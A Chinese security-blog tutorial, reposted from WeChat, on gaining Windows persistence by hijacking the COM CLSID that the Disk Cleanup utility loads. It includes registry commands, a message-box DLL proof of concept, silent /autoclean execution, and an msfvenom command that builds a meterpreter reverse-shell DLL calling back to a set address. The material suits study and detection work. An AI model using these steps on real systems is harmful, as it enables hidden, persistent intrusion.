windows持久化之磁盘清理

admin 2024年5月18日03:31:44评论4 views字数 2119阅读7分3秒阅读模式

磁盘清理工具介绍

磁盘清理(通常称为 Disk Cleanup 或 Cleanmgr.exe)是Windows操作系统的一个实用程序,可以通过主要删除缓存和临时文件来释放硬盘驱动器磁盘空间,以提高系统性能。该实用程序是在 Windows 98 操作系统中引入的,尽管它已被弃用并被设置应用程序中的现代版本取代,但 Microsoft 并未将其删除,并将其保留为旧版工具。

利用原理

从攻防蓝队的角度来看,利用磁盘清理实用程序通过在启动该实用程序时执行任意代码来建立持久性是可行的。具体来说,此方法依赖于 COM 劫持, 因为 cleanmgr.exe (启动磁盘清理的实用程序)将检查 Windows 注册表中的许多 DLL。因此,劫持与磁盘清理相关的 CLSID 将导致代码执行。

windows持久化之磁盘清理

要删除的文件 功能 是从注册表中检索的,并且它不是静态的。如果已实现特权提升,则可以创建能够让 cleanmgr.exe 实用程序执行任意 DLL 的注册表项。以下注册表项与磁盘清理功能相关:

Plaintext
磁盘清理设置
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
系统清理设置
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerVolumeCaches
HKCUSoftwareClassesCLSID{arbitrary-CLSID}
磁盘清理工具的可执行文件路径
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp PathsCleanmgr.exe

执行以下命令将枚举与 “要删除的文件” 功能相关的注册表项:

Plaintext
reg query "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerVolumeCaches" /s

windows持久化之磁盘清理

从列出的注册表项中, 下载的程序文件与 {8369AB20-56C9-11D0-94E8-00AA0059CE02} CLSID关联 。

windows持久化之磁盘清理

此外,这表明以下注册表项下存在此 CLSID:

Plaintext
reg query "HKEY_CLASSES_ROOTCLSID{8369AB20-56C9-11D0-94E8-00AA0059CE02}" /s

windows持久化之磁盘清理

以下代码可用作概念证明,以在启动磁盘清理实用程序时显示消息框。

Shell
#include "pch.h"
#include "windows.h"
#include "WinUser.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, ( LPCWSTR ) L"Visit pentestlab.blog" ,( LPCWSTR ) L"pentestlab" , MB_OK);
break ;
case DLL_THREAD_ATTACH:
break ;
case DLL_THREAD_DETACH:
break ;
case DLL_PROCESS_DETACH:
break ;
}
return TRUE;
}

需要在以下注册表项下创建要被劫持的 CLSID,以及被劫持的 CLSID 下的 InprocServer32 子项,该子项需要以任意 DLL 的路径为目标。

Plaintext
HKEY_CURRENT_USERSOFTWAREClassesCLSID

windows持久化之磁盘清理

执行以下命令可以枚举被劫持的 CLSID,以验证它是否指向任意 DLL。

Plaintext
reg query "HKCUSoftwareClassesCLSID{8369AB20-56C9-11D0-94E8-00AA0059CE02}" /s

运行 cleanmgr.exe 将执行代码。应该注意的是,使用参数 /autoclean 不会向用户显示磁盘清理的图形用户界面。此外,它可以与 Windows 的其他功能(例如 注册表运行键 计划任务) 相结合,以在启动期间或在特定时间间隔执行此二进制文件。

Plaintext
cleanmgr.exe

cleanmgr.exe /autoclean

cleanmgr.exe /setup

cleanmgr.exe /cleanup

windows持久化之磁盘清理

实战利用

使用msf 框架实用程序 msfvenom 可用于自动生成 DLL。尽管这不是一种安全的方法,并且可能会在红队演习期间被检测到,但它仅用于本文的目的。

Plaintext
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.3 LPORT=4444 -f dll -o pentest.dll

windows持久化之磁盘清理

与之前一样,需要将 DLL 写入磁盘,并且必须修改注册表项以定位新路径。

windows持久化之磁盘清理

一旦磁盘清理开始,代码将被执行,并且 将与受感染的主机建立 meterpreter会话。

windows持久化之磁盘清理

原文始发于微信公众号(暴暴的皮卡丘):windows持久化之磁盘清理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日03:31:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows持久化之磁盘清理https://cn-sec.com/archives/2753217.html

发表评论

匿名网友 填写信息